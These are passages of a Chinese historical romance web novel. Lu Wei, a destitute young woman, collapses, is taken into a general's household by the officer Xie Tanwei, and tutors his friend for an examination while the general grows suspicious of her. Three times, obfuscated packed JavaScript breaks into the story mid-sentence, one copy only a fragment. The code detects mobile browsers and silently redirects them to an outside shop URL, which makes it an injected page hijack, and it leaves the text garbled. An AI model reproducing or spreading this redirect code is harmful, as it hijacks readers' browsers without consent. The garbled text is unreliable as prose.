这是急了?还是训教?若是训教,口气又实在轻了些。 “我知道了,阿娘的忌日一年只一次,明年换个干的地方就是。”话一出口,露微才觉有些戏谑,可却是不经意脱口的。谢探微那双雪亮的眼睛扫过来,一下就让她无措了。 “我……”谢探微忽然语塞,目光柔和下来,“我的意思是,思念母亲虽然伤怀,却不至为此难以自顾,你母亲在天有灵,也必定是想你平安的。” 露微听来不觉微微点头,心里暗忖:明明就是寻常的劝人自惜,怎么却感觉有点新奇? “我听陆冬至说,你是家中长子,你父母一定很宠爱你吧?你之前常在甘州,他们想必也是极挂念你的平安的。”也许是话端本从“父母”而起,露微便顺道想问上一问。 谢探微却没料到露微能反问他,两颊暗暗使力,进退迟疑,“我还有一个长姊,一个弟弟,他们一直在父母身边,倒也……倒是时常能够宽慰父母之心。” 问的是他,他干嘛提旁人?这个回答也更新奇了。露微还想再问,却忽然发觉这人的脸色黯淡了许多。 “我不是在父母身边长大的,我五岁就去甘州跟着义父了,所以,我不知道怎么回答你。” 露微正反思自己是不是有所冒犯,谢探微却又紧跟出这句话来,满目的真诚夹带着无奈的愧意,倒抢了露微的怀疚之心。然而,这也微妙地证明了,谢探微今日莫名出现,亦是携带心事的。 “谢探微,”露微没让气氛再次沉默,伸出一根手指点了点他的衣袖,“你愿不愿意听听我的道理?” “嗯?”谢探微才将低着的眼睛转向自己的袖子,脑子还不及反应,愣了愣才点头,“好,你说。” 露微一笑,“我虽不知你为何自小不在父母膝下,但一个五岁的孩子也不可能自己翻山越岭去认个义父,这一定是你父母的安排。而天下如你家这般门第,没有一家会不重视子弟的教养,其中又以嫡长子为最重。这是为何?不过就是因为一族之荣辱虽仰赖先祖创业,实际上却是子孙承袭而代代延续。若子孙不肖,先人再是辛苦作得门户,也迟早破家荡尽。” 听到这里,谢探微已如入定一般,身躯不觉直挺,一双目光只盯着露微,半寸都不敢挪。 “便如前唐名将李勣,一生出将入相,功勋卓著,却在临死前留下遗言,说今后族中但有不肖子弟便急即打杀,就是怕子孙无教而殃及宗族。所以,你的父母也许只是用了一种特殊的方法来教导你,毕竟也不用我说,你那义父大将军岂是等闲之人?我还没听说过以边将身份直接统帅金吾卫的呢。我啰嗦了这么多,其实也可一言蔽之,就是世道常理如此,你父母一定对你寄予了厚望,这份厚望的前提未必还能是不爱?” 谢探微至此虽一动未动,脑中心内却已势如泻川:长年累月的心结不是没有人想给他疏通过,却无一人可以说得如此畅达而透彻,很多道理连他自己也懒得去厘清,但一个完全不知道具体细节的“外人”竟可以打开他的心门—— 这番“啰嗦”虽不能解千愁,却着实足以安慰平生了。 “阿月,谢谢你。”谢探微露出了连日久违的笑容,“你在家里,一定很能为亲人分忧吧?” 露微也很久没和人说过这么多话了,但见谢探微脸色明朗起来,自己的心情也有所宽解。便想来,也算是交浅言深,那有些话就有了“交浅言深”的说法。 她云淡风轻地一笑:“我没有亲人了,阿娘没了,父亲去了很远的地方。所以,万一以后我再犯夜,你能不能看在我今天苦口婆心的份上,睁一只眼闭一只眼啊?” 笑容还没在脸上热乎起来,谢探微僵了一僵,辗转想起与卫月初见的情形,“那天晚上,你说是要去拜访一个远亲,难道其实是要去找你的父亲?” 露微抿着嘴巴,缓而点了点头,“嗯,想去找来着,但是从没出过远门,忘了公验过所这回事,路费也不够,所以犹犹豫豫的才过了时辰。” “那……你父亲为何要丢下你?”谢探微问得很不忍心,但也实在疑惑,“你若信我,告诉我他在哪儿,我帮你找。” “我不知道他在哪儿,只是临时起意,后来也不想找了。”露微只一摇头,掸着裙边的尘土站起身来,“不早了,再不走,等鼓声一响,你就可以原地抓我了。” 谢探微也跟着站起来,却还不及开口,竟忽见阿月的脸色层层发白,满头冒出细汗,身体紧接着便歪倒了下去—— “阿月!!” …… 将军府的一间厢房里,一张素屏分隔内外,内室帘帐下躺着昏睡不醒的露微,一位医人正在诊断,而屏上透出的挺拔身影,则是在外间久立的谢探微。 事发突然,谢探微既不知露微的住处,也不便将人带到街头的医馆,于是相距并不太远的将军府就成了权宜之选。然而,他也是头回遇见这样的情形,心里除了慌乱,也别有一番焦灼。 不多时,医人看疗完毕走出来,谢探微一见急急就问:“她到底怎么了?之前还在好好说话的!” 医人的神色颇有些郑重,叹声回道:“敢问郎君,你家小娘子是否不思饮食已久?” 谢探微自是答不上来,只想着刚刚将人一路抱进来,卫月的分量是很轻的,“她这病是从不吃饭上起的?” 医人抚须点头:“从脉象上看主要是虚劳之症,常因饮食不节,内伤脾胃而起。另外,小娘子亦有气血阻滞,肝气郁结的症状,必是病邪侵扰已久,一齐发作才至如此。” 谢探微完全不通医理,但听来的每个词都让他心惊,“那这是不是很严重?好不好治?可有性命之忧?” “郎君莫急,这病倒不至伤及性命。只是今后务必要劝娘子按时饮食,顺时保养,再辅以医药。若不能改掉原先的习惯,长久下去,就是大事了。” 谢探微这才稍稍松了口气,将医者送出屋子,便招来小奴跟去开方抓药。这间隙,他已经想好了一些打算,正要行动时,一抬头却见陆冬至跑进了院子。 “不要进去。”看陆冬至一脸急色,谢探微便知道他不是糊涂着来的,“阿父回来了吗?” 陆冬至果是一改平素的莽撞,皱眉一叹,沉声道:“早上渡口的事我都听说了,我怕你想不开还想去找你,可……阍房的告诉我你带了个女子回来,我一猜只能是阿月,她又是怎么了?” 谢探微三言两句讲不明白,只上前拍了拍陆冬至的肩,“我没事,你放心,之前都是我太急躁,你别往心里去。” 二人从小到大也不是第一次起口角,虽然近来谢探微是奇怪了些,但陆冬至从未当真,说过也就过去了,一摇头,道:“要不然你就去给你父亲道个歉,再和他们好好说?将军在中堂等你,大约也是这个意思。” “我这就去见阿父,自会解释清楚。”谢探微还是另有忖度,转头看了一眼厢房,“你帮我做件事,阿月恐要在此长住,但府里一个使女也没有,实在不便照料,你之前同我一起归置我家旧宅,不是也安排了婢仆吗?再找个女婢来。” 陆冬至自然不会不答应,但听这话音疑惑更深了:“长住?!她家里人知道吗?到底怎么回事?” “她没有家人了,是我想留下她。” …… 谢家旧宅与晏令白的将军府同在太平坊,相隔不过两条街。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话一绕回长子身上,谢道元立马又严肃起来,“他才有几分本事,连晏兄的十分之一也没学到,光长了一身脾气!” “你——”李氏还想再辩一辩,谁知谢道元踩着话音就走了,她也奈何不得,只闷闷地哼了一声,“老顽固!” “哈哈哈……” 这时,堂内忽然响起一阵大笑,也没别人了,李氏把面孔转向坐在下席的小儿子:“你父亲这样,你阿兄又那样,你有什么可开心的?” 谢探隐虽然一直没机会插上话,却把父母的话听得很明白,“我是看父亲那么强硬的性子,却对阿娘始终爱敬,在家里,除了阿兄的事,阿娘事事都能做主。” 李氏听来心里受用,掩不住得意一笑,“那当然了,当年你外祖父可是和他约法三章的,他敢对我不好?不过话说回来,就是你父亲这个性子,你阿兄才会变成这样。” 谢探隐略挑动眉头,眼中透出几分量度的意味,“其实,父亲和阿兄是很像的,父亲也没有像他说的那样看不上阿兄。” “怎么?你问过你父亲?”李氏却不以为然,“若是相像,他们怎会连话都说不上?” 谢探隐摇了摇头:“这不用问,父亲肯为阿兄时时动气就是证明。再看我呢?父亲除了问我的书,几乎没说过一句重话。” 李氏更迷惑了,“不骂你还不好?人家都是争好的,你这孩子怎么还反着来呢?” 谢探隐一抿嘴,却不再说了,另道:“所以,阿娘打算怎么安排芳儿表妹?阿兄不要,就给我?” 李氏还没虑到这个,可一听这话却觉得很不对,“什么叫阿兄不要就给你?你也知道芳儿是你表妹,怎能出言轻佻?” 谢探隐低了眼睛,“那阿娘在家书上这么写……” 李氏泄了口气,心里也承认自己行为欠妥,“是,阿娘这件事做错了,会和你阿兄好好道歉的。” “哦,只要和阿兄道歉么……” “什么?”谢探隐这一句声音极低,李氏没听清。 “没什么。” 12.留府 露微从昏睡中醒来已是第二天午后的事了。陌生的地方,陌生的侍女让她心惊不已,她一时甚至想不起来先前发生了什么,便在卧榻上团缩着,直到侍女报说,“谢中候回来了。” 匆忙而笃定的脚步声戛然停在中屏之前,露微盯着屏上朦胧的影子,一颗心跳到了嗓子眼——从床榻走到外室,她像是飘过去的,而第一眼见,只是那人磨损得半旧的乌皮靴。 “阿月,你好些了吗?”谢探微只是关切,实际上他已遣人回来问过几次了,“吃饭了吗?” 侍女早就端来了一席的吃食,只是她哪有心思开饭,也感觉不到饿,“昨……昨天是怎么回事?”她硬着头皮,烧着脸颊,千难万难地开了口。 谢探微看出了露微的拘谨,退开两步才将事情叙述了一遍,语气是极和缓的,“路上原是遇到医馆的,但人流复杂,也没有可供单独看疗的内室,多有不便,我就带你回来了。不过你放心,后来照料你的都是侍女。” 情急从权,露微也不是什么矫情的人,此刻便只剩了对谢探微的感激之情,“请医问药所费几何?我身上带的恐怕不够,等我回家拿了给你,实在叨扰了。”她昨天一早以为要和雪信去延寿坊,便随意带了一些零散的铜钱。 然而,谢探微岂止是不想收这个钱,紧接着便反问:“你说过想去找你父亲,但路费不够,是不是也为此常常不吃饭来省钱?” 露微肯定是银钱拮据的,哪怕典卖了王氏的步摇,除了为泽兰买过丝线,也从未乱开销。而正如谢探微的猜测,因为前路未卜,她也只能缩减餐食,有时一日一餐,有时甚至捱过两三日。 “这是两码事,我不喜欢欠人钱,而且还欠你人情。” 一个欠两个欠,谢探微越发觉得刺耳,胸口也被堵得直发闷,“既然如此,你就留下,听我的便没这些事了,” 没听错吧?居然要留人来抵债?“我到底花了你多少钱啊?你请的什么神医用的什么仙药?竟然还要我押在你家!” 谢探微哽住了,连连呛咳,不知该哭该笑,“你怎么能这么想呢……咳咳,我的意思是,你就留在这里养病,不要在意那些细枝末节的事。” 露微确实想歪了,却也不可能厚着脸皮往谢探微的意思上想。冷静了半晌,她的心中忽然冒出了一个大胆的想法,问道:“我在这里,你义父是不是也知道了?他,也同意吗?” “自然知道,但我已经同阿父解释了,他并没有说什么。”谢探微是实话实说。他昨日去见晏令白时,是做好了被斥责的准备,可一见面,晏令白却先问起了卫月之事,此后也只叫他收敛脾气,早些去和父母认错。 看谢探微也不像能说谎的,露微点了点头,心意打定:“那这样,我不能白留在你家,你也不能白救了我,”说着,她抬手一指屏风后头的侍女,“我就和她一样,在你家当个侍女,除了下厨,我什么都会。” “不行。”谢探微还以为她要说什么,差点都接不住这话,“医人说你需要静养,否则便攸关性命,府上无需你做任何事。” 若只为养病,或是还人情,露微才不会说这些。她只是受了谢探微的启发,觉得如果能留在将军府,则必有机会接近晏令白。 晏令白不仅是奉旨捉拿赵维贞的天子近臣,而且也是她能接触到的最有权威的高官。若能取信晏令白,以他的地位去说动皇帝重查赵家的案子,那不论对手是舒正显,还是高高在上的楚王,赵家便都有了与之一搏的底气。 兜来转去,她还是想要为赵家争取一线生机,欠赵家的再多,能还多少是多少。 “那我在你家就只能呆在这个屋子里吗?”露微不想表现得太着痕迹,退一步也有办法。 谢探微稍一皱眉,笑了,“怎么会?你想去哪里便去哪里,唯有一样。” “哪一处不能去?”露微竖起了耳朵。 “一日三餐,按时吃饭。” …… 露微虽然没有做成侍女,但侍女的事还是可以照做的。毕竟将军府的三位主要人物,晏令白,谢探微,陆冬至,大多时候都在上职,根本没人总盯着她。至于一醒来就跟着她的小侍女红儿,不过十五岁,行事还怯怯的,自是什么都听她的,也不敢多管。 这天,露微看着天气晴好,便到后院揽下了浣洗衣物的活。三个人的衣服并不多,加起来不过三五件半旧不新的外袍,对比于这府邸主人颇高的官位,实在过于简薄。 “我来了这几日,似乎除了你,并没有其他女婢,你们府里怎会这样呢?”晾起一件衣裳的间隙,露微好奇问起红儿。 红儿却皱眉摇头,说道:“奴婢也是才来的,就是娘子生病的那天,小陆公子去市上挑回了奴婢。他说奴婢什么也不用管,只要照顾娘子的起居便好。” 露微第一回来将军府时便发觉这里上下没一个女人,却没想到稀有的这一个还是临时为她找来的。她不禁惭愧,若不是还有要紧事,她也不好意思再留了。 “不过,奴婢在府里走动,倒听说了一些。”红儿忽然想到了什么,眨着眼睛说道:“好像是因为大将军常年在军营,做派就是这样,府里也成了军营了。” 这倒也说得通,只是与京中动辄家人数百的高门显贵相比,一个大将军,身边没几个侍奉之人也罢了,便除了一个义子,一个亲从,却连自己的妻儿都没有,也是不大寻常的。 “那如果有一天我走了,你会不会也被退回去呢?”露微思量府里这些特殊的情形,不禁对红儿生出了怜悯。奴婢本在贱籍,如货物一般由人买卖,若没了主家自然又要四处飘零。 红儿垂下了眼睛,“那也是没办法的事,奴婢也不是第一次到门户里又被卖出去了。娘子和善,是奴婢遇到的最好的主人。” 露微却也一时没有更好的办法,如今的她是没有能力收留小婢的。而且,她自小也没有要人贴身侍奉的习惯,连嫁到姚家时也没带,顶多是从前母亲宋容身边有个侍娘乔晴霞,时常看顾她。赵家蒙难,乔氏大约也跟着去了零陵,不知是什么光景。 “红儿,你这个‘红’字可就是红色之红?”虽无力收留,露微却还是希望她有个好着落,就暂寄望于名字上,替她改一个好的。 红儿点点头,“嗯,奴婢不识字,就是贩子随口取的。” 露微很快有了主意:“你生得秀美,以后就改叫丹渥吧,也是红色之意,诗赋中常用‘颜如丹渥’来形容青春的容貌,正配你。”说完,她便用手蘸了木盆里的水在地上写了这两个字。 红儿唯有感动,立马就在这两个字前跪下了,“奴婢以后就叫丹渥,谢娘子赐名!” 露微只连忙将人拉起来,可正要再宽慰她几句,余光里却闪过两个直挺挺的身影,转过头再一看——是谢探微和陆冬至,这个不早不晚的时辰,他们怎么能回来呢?! “阿月,谁叫你做这些了!” 先开嗓的是陆冬至,说着就冲了上来,吓得刚站起来的丹渥又跪了下去。而谢探微虽不发言,看脸色也是一个意思。 怎么办?满院子还没收拾完的衣服水盆,高高撸起的袖管,滴着水的双手,每一样都让露微百口莫辩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260715|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你们怎么这时候回来了?发生什么大事了吗?”辩不了就不辩了,尽力把话题岔远点。 “吃饭了吗?”谢探微并不明朗的神情之下,却平静得多,说着掏出一块帕子递了上去,“先擦一下。” 露微到底是心虚的,先将手在身上抹了一把才缓缓去接,低头之际,却望见陆冬至手上拿着一纸文书,全文是看不到,但背面印出的墨迹却能看出“考功”两字。 对于长在吏部之家的露微来说,这两个字可太不陌生了。 “你拿的什么?”反正要岔开话端,露微索性就从这份文书提起,或许也能探知些许朝廷之事。 然而,不提也罢,一听露微说起来,陆冬至就立马不关心别的了,愁眉苦脸地说道:“这是我的索命符!” 露微不解,看向谢探微,“他闯祸了?真发生大事了?” 谢探微瞥去一眼,却笑了,“陛下降敕,要吏部与兵部共同主持一次在京文武官吏的考核。因他已足二十一岁,达到了参与考选的年纪,阿父便把他的名字也列进去了。如能通过大选,则可给予品阶,擢为执戟郎。” 短短几句话,露微的脑中已经打了一串的结。 她记得朝廷选官考核是有定期的,每年都是孟冬开选,可现在已是五月,上一年的早已结束,而今年的则应还远。况且,就算今年要提前,怎么又是只选在京官员,而非天下所有官吏? 这些已是十分反常的了,但露微更关心的是,谢探微所提之吏部,在赵维贞被贬官后,又是谁坐上了这个位置。而赵维贞既是得罪了楚王,那这位新任的尚书又会不会是楚王提拔之人? 果然,朝廷之事千头万绪,她越来越像是走在重重迷雾之中。 “阿月,你没听懂吧?我也觉得乱七八糟的,什么跟什么呀,在甘州时就没这么多规矩,杀敌立功就能领赏。”陆冬至见露微有些出神,只以为她是听懵了,便像是找到了同道中人一般。 “阿月,你在想什么?”谢探微也觉得露微神态不同,只是未必如陆冬至所说。 露微舒了口气,扬脸一笑,看向陆冬至,“定九流之品格,补万方之阙政,官人之道备焉。审名实之铨综,备戎仗之物数,以戒军令,而振国容焉——你说我听不听得懂呀?” 陆冬至彻底傻了,只觉得卫月念了一段咒语,而在场能懂的人,脸上早是一片惊叹,“阿月,你还读过选官之典吗?” 自然,露微念的就是国朝选官法典里的句子,那几册书常年是摆在赵维贞书案上的。她从前经常出入父亲的书房,看过很多书,对很多内容都能倒背如流。而她故意显露,也是心有打算。 “嗯,以前我有个邻居,他家藏书无数,也穷得只剩下书了,但谁想要借书,他却很大方,我闲来无事就去找他看书啊。” 谢探微本就猜定卫月是读过书的,否则不能有这般超群的见识,这下就更深信不疑了,目光里毫不掩饰地流露出赞赏之情。 “那!这就太好了!”陆冬至忽然像是还了魂似的,眼睛在谢探微和露微之间往返,极是兴奋,“谢探微,我的武考就靠你帮我练了!阿月,那我的文考就靠你帮我学了!” 武官的考核自是与文官不同,虽以武艺为重,也确实需要文武合考。但听陆冬至这样托付,露微真也替自己捏了把汗——都傻成这样了,究竟还能不能救得了啊? “什么时候考试啊?”露微挤着眉头小声问谢探微。 谢探微很能领会露微的意思,暗提了口气,伸出一根手指,“一个月后。” “一个月……” 13.怀疑 “背啊,就这几句小娃娃都会了,你磨了一晚上了!” “下一句是什么来着?” “凡考课之法,有四善,四善!我提了几次了都?!” “哦哦哦,嗯?哪四善来着?” “你的脑子是不是水土不服自己又跑回甘州了?!” 自从陆冬至开始为考核做准备,每一天晚上,书房里都会上演这样一场鏖战。陆冬至便坐在书案当中,左边守着谢探微,右边站着露微,可纵使这般左右开弓,温书的效果也十分惨淡。 这幅情景也被晏令白看在眼里。只要他下职在家,晚间便会踱步至此。房里的三个人沉浸其中,没有一次发现他就站在窗外,但这天晚上,晏令白却主动走了进去。 三人见状都是一惊,也都连忙上前行礼。晏令白脸上淡笑着,目光一一看过,最后停在了露微身上: “你读过不少书,都是自己学的吗?有无老师教导?” 这还是留下后头回和晏令白打照面,但露微很快就平静了下来,因为她的打算便是如此:既是真心想帮陆冬至,也是借机引起晏令白的注意。 “回将军,是我自学的,没有老师,所以我只是知道一些文章,谈不上多精通。”露微答得很大方,脸上亦含着微笑。 晏令白似是认可地点了点头,“哦,我还在想,若是有一位能教出你这样学生的老师,那定是当世鸿儒名家,便请他来教导冬至,连敏识也可以一道长进长进。” 这话音听着是夸奖,可露微却觉出了试探的意味,但毕竟晏令白是一个年资老成的人,有些考量也算正常。 “将军谬赞,但将军若有此心,何愁偌大的咸京寻不得一位名师?便是将军自己定也熟练军师卒戍之事,空闲之余亲自教导,岂不比外头的强上百倍?”露微把握着分寸,既没有刻意回避,也稍加辞色,向晏令白坦然表达了敬意。 果然,晏令白眼中起了一丝惊讶之意,但只一瞬,很快隐去,“我听敏识说,你的家人都去了远方,只独留你在咸京,有时饮食都顾不上,却还能勤于读书,实在是难得啊。” 刚拆解了晏令白的一个疑心,不料又来一个,而且这个疑心隐藏在关切之下,更不易察觉。 露微不禁感到困惑,这才是入府的初见,她还没机会出错呢,怎么就惹出怀疑了?晏令白到底能怀疑她什么呢? “读书明理,可以知天下之广阔,山川之壮美,也能见世道之气象,古今之浮沉,我只是喜欢读书而已。我虽卑陋,但也以为,书是不会看人贵贱的,把人分作三六九等的只是人心罢了。所以颜回哪怕陋巷箪瓢,人不堪其忧,他却是不改其乐。” 露微既看不透晏令白的心思,便只能从“读书”上解读一番。而晏令白的层层试探,也难免激起了露微的自尊之心,于是说话的口气也略带锋芒。 话音落下许久,书房里沉静一片。晏令白的目光像是凝固了,露微还是瞧不出意思,但也丝毫不为所惧。 “敏识啊,”蓦然开言,晏令白却是转向了谢探微,神色淡淡的,“你父母到咸京已有多日,你还该早些回去拜见。冬至这里无须你多操心,你要分清主次。” 这话说完,晏令白便离开了书房,可看似一句寻常的叮嘱,露微却从谢探微的脸上看出了难色。 “你父母抵京那日,你不是去迎接了吗?”露微问道。 谢探微低了低眼睛,只作一笑,“你刚刚说得真好,侃侃如也,连阿父都在惊叹。你不知道,他虽自来是个武将,却也读书颇多,我幼时启蒙都是他教的。” 看来,谢探微丝毫没有听出不妥,露微自是不必与他说破,便继续问道:“对了,将军让你分主次,难道是说你不用参加选官吗?你是金吾有品阶的军官,竟不在名单之列?” 谢探微的神情稍稍一顿,眼睛扫到旁边的书案,却见刚刚一言不发的陆冬至,此刻早已趴在案边睡着了。 “陆冬至,你还想不想考了?” 露微忙去推了下陆冬至,因为按照她的安排,今晚要学的文章连一半都没学到。然而,谢探微却叫住了她: “四善二十七最,他今晚是不可能背下来了。其实,他已经很努力了,白天都在营中苦练,还有军功在身,通过武考不成问题,文考这头,不低于丙等即可。” 露微也知武官的考核侧重不同,只是若能稍在读书上用心,则对他长远的仕途有利,否则一辈子都只能做个下等武官。“好,这种事也急不来。” 夜已深了,书房的窗子还敞着,一片皎白的月光照了进来。露微与谢探微不约而同地为月色吸引,脚步前后挪到了廊庑之间。月照下的庭院如同笼上了一层纱影,又仿佛是秋霜覆盖,幽清之中别样静谧。 “我,确实不在考选名单之列。” 露微正抬头望月,脑子里排空了似的,忽然一觉,方才想起先前的话来,“为什么?” “因为父亲将我从名单中除去了。”谢探微说得平静,脸上也淡得不见一丝情绪。 父亲?应该不是指晏令白。但是,能左右考选名单的人,除了天子,就只能是负责考选的官员,“你父亲是兵部郎中?”选官虽是吏部与兵部同办,但武官是由兵部负责考校,兵部郎中便是主办官。 谢探微转脸垂目,一笑,“父亲原是扬州刺史,此次进京,是接任吏部尚书之职。兵部主选武官没错,但最初的名单和最终的结果,都是要报送吏部审定的。” 原来,谢探微的父亲就是新任的吏部尚书,那谢家岂不是与楚王关系密切?露微一下子就记起来了,那次在昭成寺,谢探微亲口说过楚王是他的舅父。 难道事实就是这么直白?她猜是新任尚书与楚王有关,就真的一猜即中?若如此,谢家又与晏令白十分亲近,那她还能不能寄望于晏令白来为赵家翻案? 而眼前首要面对的谢探微,又该如何面对? “那你父亲一定是为了避嫌才这样做的吧。”露微不能将自己的怀疑宣之于口,只是不禁在目光里添上了几分揣摩。 谢探微摇头,眼眸渐渐变得深邃,“上次在通明渠,你和我说了很多道理,让我相信父亲是对我寄予厚望的。可我那时说不知道如何回答你,只是因为我本就知道父亲并不宠爱我,更看不上我。” 这样一说,似乎是更能解释那天谢探微为何独自出现。也是,父母才刚抵达,做儿子的只是迎接一下就没事了,这不正常。 况且,哪怕主选武官的是兵部,吏部想要避嫌,只要不插手最后的结果便可,未必要过于苛刻,连个参选的机会都不给他。 “我五岁之前身体孱弱,母亲便尤为溺爱,于是养成了我不成器的样子。父亲甚为厌恶,一怒之下便将我送到了甘州,还说,若我不改,便自此再不要回家。后来,我也熬过去了,但也变得很不喜欢回家,面对父亲,没有一次不起争执。” 安静听到这里,露微心里忽然疼了一下,为谢探微。 五岁的孩子再是纨绔,也承受不住这样的狠心,便是父亲再有所寄望,那时的他又岂能领会半分,恐怕只会认为自己是弃子。毕竟,他也说过,家中还有一个弟弟,却是一直养在父母膝下的。 露微觉得,也许谢探微和晏令白,和他的家族都是不一样的,自己应该更纯粹地看待这个人。 “这些都不要紧。”露微深吸了口气,朝谢探微扬起脸庞,“有些事你能做到便做,做不到便求个问心无愧。你也说你都熬过来了,以后大可自谋前路,不必总把眼睛往后看。” “不必,总把眼睛,往后看?”谢探微像是听着了一句匪夷所思的话,惊奇中又带着懵懂。 露微向他笃定点头,“我告诉你吧,其实我父亲也不喜欢我,不止是父亲,兄长也是,所以我只求自强,走自己的路。若以后能与他们和解便和解,若不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278514|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还是可以好好活着,无拘无束,无牵无挂。” 谢探微注目眼前的小小女子,心中一时有很多话,想问她究竟遭遇了什么,也想知道如此境遇之下怎能这般旷达,而就算她说得这般云淡风轻,也定然和自己一样,是吃过许多苦的。 谢探微自叹不如。 书房透出的烛光早已暗淡,自苍穹倾泻而下的月华却愈发澄澈,溶溶地照在两人含笑相视的脸上。 “阿月,我以后就听你的。” 良夜迢迢,万籁俱寂,唯余清音。 …… 谢探微和陆冬至白天虽不在家,但露微也没闲着。 依她连日对陆冬至的考查,这人读书实在费劲,遇到晦涩些的文段,甚至连字都认不全。便以这种程度去参加考选,想拿丙等也难,而但凡有一科落在丙等之下,也就擢升无望了。 所以她又替陆冬至想了个法子:在所有武官考选涉及的书目里,摘抄出重要的篇章而放弃过于精深的。如此,便能保证陆冬至既能读的通,也能快速掌握。 “娘子,这得抄到什么时候啊!” “没多少,今天就能抄完,看着点,别被吹走了!” “好好好。” 书房里,露微在书架和书案之间来回穿梭,翻找出的书籍就堆在案上,摘出的章句则两三句一组抄在一张纸上。为了让墨迹快干,她让就丹渥整齐铺在地上。一上午的辰光,纸张已从房里排到了廊下,却也是收了铺,铺了收,接续不断。 刚摘完手里的一卷,露微只觉手臂被挤住,抬头一见,才发觉是案上的书册堆得太多,连写字的地方都快没了。于是便捧起一摞往书架走去。 然而,她也是太心急,一把抱得太多,又走得太快,一不小心便撞上了案旁的剑架。书册散落一地不说,剑架也重重倒地。 这是好心办了坏事了!顾不上被撞疼的手,露微赶紧去扶剑架,丹渥也赶来帮忙,但两人一时却都没见,巨大的响动还引来了晏令白。和之前夜里一样,他并非刚刚才到。 “你们这是做什么?” 露微闻声一颤,这才转头,又被晏令白严肃的神情惊了一惊,片刻才小心回道:“回将军,我在抄书,想帮陆冬至学得更快些。” 晏令白早已看见满屋子的纸张,神色并未松缓,“你做这些,可事先知会他们了?” 露微是今早才想起来的,自然还不及告诉那二人,“没有,我是才想到的,时日紧张,我先做了,等他们回来便可直接用上。” 她是实话实说,却也觉察出来了,晏令白又是在怀疑试探,甚至是提防之意。这段时日,他们三人都是围着书房转的,难道这书房还有什么禁忌? “将军的意思是,我不能在他们不在的时候进书房,对吗?”露微不想兜圈子了,若有禁忌也只能是这个,便直接问了。 晏令白清咳了一声,“这毕竟是敏识的书房,你一个女孩子家,多少应该避嫌。” 这话有些刻意的客气,反而也成了刻意的提醒,露微已经很明白了。她暗咬着嘴唇,向晏令白行了一礼,“是我的错。” 说完,她便在晏令白的注目下,收好了书卷,摆好了笔墨,将一切恢复原样。告退之际,她也带走了厚厚一摞抄完的纸张。 “娘子,你明明是好意,为什么将军要赶你走呢?” 走远之后,丹渥小心翼翼地问起了露微,青涩的脸上还残存惊恐。可露微的心绪也不过刚刚平静,她不是怕,而是难过。 “我不知道,但我不能反驳。” 露微忽然醒悟了些,晏令白这条路是走不通了,她虽做了打算,也吸引了晏令白,可引来的却不是好意。也许真是她过于草率和心急,妄自一件事接着一件事谋划,却没有周全的计划。 “那等谢中候回来,让他去和将军解释呢?” “不要,谢探微和他们不一样。” 14.逐客 入夜,晏令白将谢探微唤到了内堂。谢探微想着大约还是劝他去见父母的事,心情索然。可晏令白甫一开言,却先问道: “冬至近来温习得如何?卫月还在教他吧?” 谢探微确是刚从书房来,回道:“冬至从未在读书上如此用心,也都是阿月费心指教,想来是能够通过考选的。但今晚阿月没来,应该是连日太累了。” 晏令白的神色缓了一缓,似有所思,“等冬至的考选结束,卫月的身体也该恢复了,你还要将她留在府里吗?” “阿父是何意?”谢探微仿佛听岔了似的,立刻抬高了声调,“她孤身一人,阿父是知道的,府里难道还多她一个吗?” 晏令白尚且平和,只淡淡道:“可她也说过,她就是本地人,有自己的家。你认识她之前,她也是能照常度日的。” 谢探微觉得很不寻常,义父的态度怎会突然转变?“难道我不在时,阿月有什么失礼之处吗?” 虽问出口,他也觉得不太可能。莫说卫月是个知书识礼的人,就算真有失当,义父这般人物也根本不会同小女孩计较。 晏令白背起了手,却忽然正色:“你知道,府里一向如营中,从无女子,你带她来本不合适。况且,若她长留下去,孤男寡女,于礼难合。” 既提到了“男女礼教”,谢探微胸中不由聚起一股血气,“阿父,你难道也和他们一样,要逼我同沈家议婚吗?!就是因为这个,你才容不下阿月的,是吗?” 晏令白眼中顿了一顿,“敏识,你果然有意于她?!” 谢探微沉默了下来,似乎情绪也在慢慢平静,“是。”短促而笃然的一个字,却有掷地之声。 晏令白半晌无语,神情里或是忖度,或是疑惑,“你父母第一回提起议婚时,你也是不肯,如今却是因为卫月……” “我没有拿阿月作借口,不肯就是不肯,有意就是有意。”谢探微打断得十分果决,紧接着便反问: “阿父难道忘了,是你提醒我说男大当婚女大当嫁,还说父亲母亲并无门第之见,让我大可主动去提。可现在,阿父自己怎么忽然就看不上卫月了呢?” 晏令白在注目间长长地叹了一口气,心中恍然明白了,这个自小跟随身边的孩子是真的长大了,“陛下突然敕令两部考校京师百僚,你想过原因吗?” 谢探微既不在考校之列,便从未深思过,“阿月与选官能有什么关系呢?”他自是觉得两件事毫不搭边,但义父也并不是一个喜欢私议朝事的人。他的心稍稍沉了下来。 